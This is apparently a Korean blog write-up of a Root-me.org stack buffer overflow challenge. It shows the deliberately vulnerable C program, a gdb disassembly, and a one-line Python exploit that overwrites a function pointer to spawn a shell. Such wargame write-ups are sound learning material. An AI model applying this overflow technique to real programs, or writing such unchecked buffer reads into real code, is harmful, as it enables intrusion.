본문 바로가기

Root-me.org

[App-System] Stack buffer overflow basic 2

ELF x86 - Stack buffer overflow basic 2


/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
 
#include 
#include 
 
void shell() {
    system("/bin/dash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
main()
{ 
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}


입력을 128바이트 만큼 받고 func()를 실행하는 루틴이다.

func()=sup 을 호출한다.

저 부분을 shell() 로 덮어보자.


gdb$ disas shell

Dump of assembler code for function shell:

   0x08048464 <+0>: push   %ebp

   0x08048465 <+1>: mov    %esp,%ebp

   0x08048467 <+3>: sub    $0x18,%esp

   0x0804846a <+6>: movl   $0x80485a0,(%esp)

   0x08048471 <+13>: call   0x8048380 <system@plt>

   0x08048476 <+18>: leave  

   0x08048477 <+19>: ret 


(python -c 'print "\x90"*128+"\x64\x84\x04\x08"';cat;) | ./ch15



'Root-me.org' 카테고리의 다른 글

[App-System] Stack buffer overflow basic 1  (2) 2017.04.25